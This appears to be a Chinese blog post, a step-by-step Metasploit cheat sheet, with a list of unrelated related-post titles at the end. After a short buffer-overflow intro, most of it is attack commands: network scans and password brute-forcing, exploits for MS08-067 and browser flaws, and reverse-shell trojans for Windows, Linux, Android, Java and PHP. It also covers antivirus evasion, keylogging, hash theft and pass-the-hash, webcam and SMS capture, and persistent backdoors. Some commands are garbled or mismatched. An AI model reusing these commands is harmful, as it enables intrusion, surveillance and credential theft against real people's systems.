缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。

缓冲区可以更抽象地理解为一段可读写的内存区域,
缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。

使用安全的字符串操作函数
编写安全代码
输入数据验证(过滤)
指针完整性检查
第三方软件防御


渗透攻击(exploit)
测试者利用系统、程序或服务的漏洞进行攻击的一个过程

攻击载荷(payload)
攻击者在目标系统上执行的一段攻击代码,改代码具有反弹连接,创建用户,执行其他系统命令的功能

shellcode
在目标机器上运行的一段机器指令,成功执行后会返回一个shell

模块(module)
是指metasploit框架中所使用的一段软件代码组件

监听器(listener)
监听器是metasploit中用来等待接入网络连接的组件

开启数据库service postgresql statr

查看数据库状态 service postgresql status

运行msfconsole

查看数据库连接状态 db_connect

创建一个工作台 workspace -a test

删除工作台 workspace - d test

进入test工作台 Wordspace test

使用nmap db_nmap -sS 192.168.80.1 扫描主机

导出扫描结果 db_export 1.xml
导入扫描结果 db_import 1.xml

查看扫描结果 hosts


信息收集

开启msfconsole

  1. whois www.example.com
  2. nslookup

use auxiliary/scanner/ip/ipidseq #IPID序列扫描器,与nmap的-sI -O选项类似
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run

nmap连接数据库扫描
db_nmap -sS -A 192.168.2.123

db_services 查看扫描结果

使用portscan模块
search postscan
use auxiliary/scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run

特定扫描 smb_version模块:
use auxiliary/scanner/smb/smb_version 查找开启445端口的ip
show options
set RHOSTS 192.168.1.111
set THREADS 50
run
db_hosts -c address,os_flavor

找mssql主机
use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

搜索网站中的e-mail地址
search_email_collector
use auxiliary/gather/search_email_collector
set DOMAIN cracer.com (扫描域名)
run

ssh服务器扫描
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
set THREADS 50
run

telnet服务
use auxiliary/scanner/telnet/telnet_version
set RHOSTS 192.168.1.0/24
set THREADS 50
run

ftp主机扫描
use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 50
run

扫ftp匿名登陆
use auxiliary/scanner/ftp/anonymos
show options
set RHOSTS 192.168.1.0/24
set THREADS 50
run

ftp匿名登陆
登陆名称:anonymous
密码:空

扫描局域网中有哪些主机存活
use auxiliary/scanner/discovery/arp_sweep
show options
set RHOSTS 192.168.1.0/24
set THREADS 50
run

扫网站目录(并不会扫描文件)
use auxiliary/scanner/http/dir_scanner
show options
set RHOSTS 192.168.1.129
set THREADS 50
run

扫描SNMP主机
use auxiliary/scanner/snmp/snmp_login
show options
set RHOSTS 192.168.1.0/24
set THREADS 50
run

嗅探抓包
use auxiliary/sniffer/psnuffle
run


密码爆破

ssh密码
search ssh_login
use auxiliary/scanner/ssh/ssh_login
show options
set RHOSTS 192.168.2.231
set PASS_FILE pass
set USERNAME root
exploit

telnet密码
search telnet_login
use auxiliray/scanner/telnet/telnet_login
show options
set RHOSTS 192.168.2.123
set FILE_PATH pass
set USERNAME administrator
exploit

samba攻击
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.2.3
set PASS_FILE pass
set SMBUser administrator
set THREADS 50
exploit

mysql密码爆破
search mysql_login
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.1.32
set PASS_FILE pass
set USERNAME root
set THREADS 50
exploit

search postgresql_login
use auxiliary/scanner/postgres/postgres_login
show options
set RHOSTS 192.168.2.129
set PASS_FILE pass
set USERNAME postgres
exploit

tomcat攻击
search tomcat_mgr_login
show options
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.23
set PASS_FILE /root/pass.txt
set USER_FILE /root/user.txt
exploit


漏洞利用模块

show targets 显示目标(os版本)

set TARGET 设置目标版本

exploit 开始漏洞攻击

session -l 列出会话

session -i 选择会话

session -k 结束会话

z 把会话放到后台

c 结束会话

show auxiliary 显示辅助模块

use 使用辅助模块

set 设置选项

run 运行模块

ms10_002
search ms10_002
use exploit/windows/browser/ms10_002_aurora
show options
set SRVHOST 192.168.2.128 (生成恶意网址的IP(可以代理))
set payload windows/meterpreter/reverse_tcp (反弹shell)
set SRVPORT 80 (反弹回来的端口)
set URIPATH /
set LHOST 192.168.2.128 (用于监听的地址)
set LPORT 1211 (用于监听的端口)
exploit

sessions -i (查看是否存在会话)

sessions -i 1 (选择一个ID,进入会话)
直接输入shell 即可得到shell

ms10_018
search ms10_018
use exploit/windows/browser/ms10_018_ie_behaviors
show options
set SRVHOST 192.168.2.128
set SRVPORT 8081
set payload windows/shell/reverse_tcp
set LHOST 192.168.2.128
set LPORT 1211
exploit

sessions -i (查看是否存在会话)

sessions -i 1 (选择一个ID,进入会话)

因为payload的不同,所以这个直接进入了shell

ms12_020
search ms12_020
use auxiliary/scanner/rdb/ms12_020_check (检查是否存在ms12_020漏洞)
show options
set RHOSTS 192.168.2.0/24
set THREADS 50

back

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
show options
set RHOST 192.168.2.132
run

ms10_046
search ms10_046
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
show options
set SRBHOST 192.168.2.128
set payload windows/shell/reverse_tcp
set LHOST 192.168.2.128
set LPORT 1213
exploit

ms08_067
search ms08_067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.2.131
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.128
set LPORT 1215
show target
set target 34
exploit


shellcode

windows

生成shellcode
msfpaylaod windows/meterpreter/reverse_tcp LHOST 192.168.2.133 LPORT=1121 X > /root/cracer.exe监听shellcode
msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.133   (地址要一致)
set LPORT 1121将生成得shellcode上传到目标机上exploit

linux

生成shellcode
msfpayload linux/x86/meterpreter/reverse_tcp LHOST 192.168.2.133 LPORT=1121 X > /root/cracer监听shellcode
msf
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.2.133   (地址要一致)
set LPORT 1121将生成得shellcode上传到目标机上exploit

andriod

生成shellcode
msfpayload android/meterpreter/reverse_tcp LHOST 192.168.2.133 LPORT=1121 X > /root/Desktop/cracer.apk监听shellcode
msf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.2.133   (地址要一致)
set LPORT 1121将生成得shellcode上传到目标机上exploitdump_contacts   导出电话
dump_sms        导出信息
Webcam_list 摄像头数目
-i 1        后置摄像头
webcam_snap     拍照
webcam_stream   开启摄像头

java

生成shellcode
msfpayload java/meterpreter/reverse_tcp LHOST 192.168.2.133 LPORT=1125 X > /root/Desktop/cracer.jar监听shellcode
msf
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.2.133   (地址要一致)
set LPORT 1125将生成得shellcode上传到目标机上exploit将生成得cracer.jar运行起来:Java -jar cracer.jar运行起来

php

成shellcode
msfpayload php/meterpreter/reverse_tcp LHOST 192.168.2.133 LPORT=1121 R > cracer.php监听shellcode
msf
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.2.133   (地址要一致)
set LPORT 1121将生成得shellcode上传到目标机上exploit

shell免杀免杀

使用多重编码免杀
msfpayload windows/meterpreter/reverse_tcp LHOST 192.168.2.133 LPORT=1211 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -t exe -o /root/cc.exe

加壳免杀
upx -5 cc.exe

veil免杀

shellter免杀工具
shellcode代码注入工具
在一些正常得工具中,注入一些后门,实现免杀

  1. 首先使用Metasploit生成 payload
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=1337 -e x86/shikata_ga_nai -i 43 -f raw -o fud.raw
  2. 执行wine shellter.exe 用红酒瓶运行我们的shellter,
  3. 这里A代表自动模式,PE target 是我们准备进行免杀的exe预注入文件位置
  4. 这里我们输入L命令开始选择载荷,我们这里就使用meterpreter_reverse_tcp载荷,输入1
  5. 输入我们的反弹shell的位置,接着键入我们需要监听的本地端口,这里我就选择1355作为监听端口,回车直接生成
  6. 启动Metasploit监听
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.1.3
    set lport 1355
    exploit
  7. 启动监听之后,把目录下的生成得文件放置 windows 电脑下运行即可主机上线

后渗透

1.生成一个木马
msfpaylaod windows/meterpreter/reverse_tcp LHOST 192.168.2.133 LPORT=1121 X > /root/cracer.exe
2. 进行监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.133
set LPORT 1233
exploit
木马在目标机执行

  1. 操作命令

截屏 screenshot 会将生成得图片放到主文件夹

获取系统运行得平台 sysinfo

获取键盘记录
keyscan_start 开始
keyscan_dump 输出
keyscan_stop 结束

ps查看进程

migrate 1774切换进程 (在成功得入侵到目标机上第一件事就是要切换到稳定得进程,这样即便程序被关闭,也会进行控制)

run post/windows/capture/keylog_recorder 记录键盘记录

获取hash----hashdump

利用hash登陆
use exploit/windwows/smb/psexec
set payload windwos/metpreter/reverse_tcp
set LHOST 192.168.2.133
SET RHOST 192.168.2.131 (目标)
show options
set LPORT 1212
set SMBUser administrator 获取hash中都可以得到这些数值 smbuser smbpass
set SMBPass asdasdqwsda1313
show options
exploit

进程迁移 run post/windows/manage/migrate (自行切换到稳定进程)
run killav 关闭cmd.exe
查看目标机所有流量 run packetrecorder -i 1
提取系统信息 run scraper

持久控制PC机 (开机自启)
run persistence -X -i 50 -p 1121 -r 192.168.2.133 (往目标得注册表里写入某些数据)

msfcosole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 1121
set LHOST 192.168.2.133
exploit
session -u 2 升级shell变成meterpreter

永久控制服务器

msfpaylaod windows/meterpreter/reverse_tcp LHOST=192.168.2.133 LPORT=1127 X > /root/cracer.exe
生成得payload放到目标机上

msfcosole
use exploit/multi/handler
set payload windows/meterpreter/metsvc_bin_tcp
set LPORT 1121
set LHOST 192.168.2.133
exploit

运行payload

run metsvc -A //安装永久后门

重启后
msfcosole
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.2.132
set LPORT 31337 //固定得端口
exploit

网络安全 (九 缓冲区溢出metasploit)相关推荐

  1. 网络安全系列之三十五 缓冲区溢出

    缓冲区溢出的大名可谓如雷贯耳,我们不必去探究缓冲区溢出的原理,只需知道他能做什么就可以了.如果能够成功地对远程计算机进行缓冲区溢出,那么就可以获得远程计算机的Shell,也就可以直接以管理员的身份在远 ...

  2. 网络安全——缓冲区溢出攻击

    1.缓冲区溢出概述 什么是缓冲区?它是指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型.所谓溢出,其实就是所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存 ...

  3. 绿盟科技网络安全威胁周报2017.01 请关注MatrixSSL堆缓冲区溢出漏洞CVE-2016-6890

    绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-39,绿盟科技漏洞库本周新增30条,其中高危9条.本次周报建议大家关注 MatrixSSL 堆缓冲区溢出漏洞 ,目前,此漏洞已经公布了一段时间 ...

  4. 【网络安全】brainpan-windows缓冲区溢出详解

    简介 渗透测试 注意: 本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的.我将使用Kali Linux作为此次学习的攻击者机器.这里使用的技术仅用于学习教 ...

  5. 网络安全实验:CCProxy缓冲区溢出攻击

    CCProxy缓冲区溢出实验 一.实验环境说明 溢出对象:CCProxy(一款代理服务器软件,支持FTP和Telnet) 调试工具:CDB.WinDbg.OllyDBG.IDA Pro etc 实验环 ...

  6. Kali linux 学习笔记(十九)缓冲区溢出——linux(crossfire) 2020.3.1

    前言 上一篇在windows下用SLMail的漏洞实现缓冲区溢出 这次在Linux下用crossfire的漏洞实现缓冲区溢出 crossfire穿越火线 多人在线rpg游戏 1.9.0版本接受入站so ...

  7. 网络安全攻防之缓冲区溢出攻击

    什么是缓冲区溢出? 缓冲区溢出是一种异常现象,当软件向缓冲区中写入数据使缓冲区容量溢出时,会导致相邻存储器位置被覆盖.换句话说,过量的信息被传递到没有足够空间的容器中,而这些信息最终会替换相邻容器中的 ...

  8. 缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)

    实验内容: 分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去. ...

  9. 【安全牛学习笔记】缓冲区溢出

    数据与代码边界不清,导致程序执行代码 脚本: #! /bin/bash echo $1 在终端中运行脚本,参数写:或|加上命令,会被系统执行 源码审计 逆向工程 对编译后的文件反汇编 模糊测试  安装 ...

  10. Windows 2000缓冲区溢出入门

    前言 我在互联网上阅读过许多关于缓冲区溢出的文章.其中的绝大多数都是基于*NIX操作系统平台的.后来有幸拜读了ipxodi所著的<Windows系统下的堆栈溢出>(已刊登在绿盟网络安全月刊 ...

最新文章

  1. 爬虫 - requests模块
  2. Swift学习之map、flatMap、filter、reduce的使用
  3. 用C语言输出一个字符串的所有子串
  4. 数据挖掘初次接触!学习代码
  5. typescript 爬坑速记
  6. 正确安装vray5 for 3dsMax步骤
  7. 建筑施工企业数字化安全质量监督管理系统
  8. 19年绝响,张国荣「复活」!AI高清修复《热·情》燃爆2000万观众
  9. cad面积计算机,用cad计算多个面积的方法步骤
  10. linux安装OceanBase数据库
  11. 关于微信支付,支付宝支付
  12. 使用计算机的场所和用途,天天在使用计算机,很多东西我竟然不知道!
  13. 相对路径——莱鸟语录:世上本没有路,走的人多了,也就成了路,但道路之外,草地遍布,科学也是如此。
  14. 新粉色苹果CMS10视频站源码模板 仿APP内附教程
  15. 域名里gTLD、new gTLD、ccTLD的含义之间的关系
  16. 彩虹代刷源码+支付接口 搭建教程
  17. tomcat如何编译java_tomcat怎么编译java
  18. npm发版报错(404)
  19. 2021最漂亮的5张可视化图
  20. 首发仿拼多多源码,程序完整版+安装教程+完美运营

热门文章

  1. java 获取某个时间点增加30分钟之后的时间点
  2. Python print语句输出重定向到网页前端
  3. 如何做一个基于JAVA医院预约挂号系统毕业设计毕设作品(springboot框架)
  4. [论文阅读笔记38]基于多标准主动学习EMR实体识别方法
  5. openwrt路由表设置_OpenWrt路由器常用设置
  6. linux系统Redis下载安装步骤
  7. java win7 管理员权限_win7系统获取管理员权限批处理的操作方法
  8. 从顶级会议Interspeech 2019看语音领域大家都在弄个啥嘞
  9. openwrt 配置过程
  10. 初学Java---运算符和语句的使用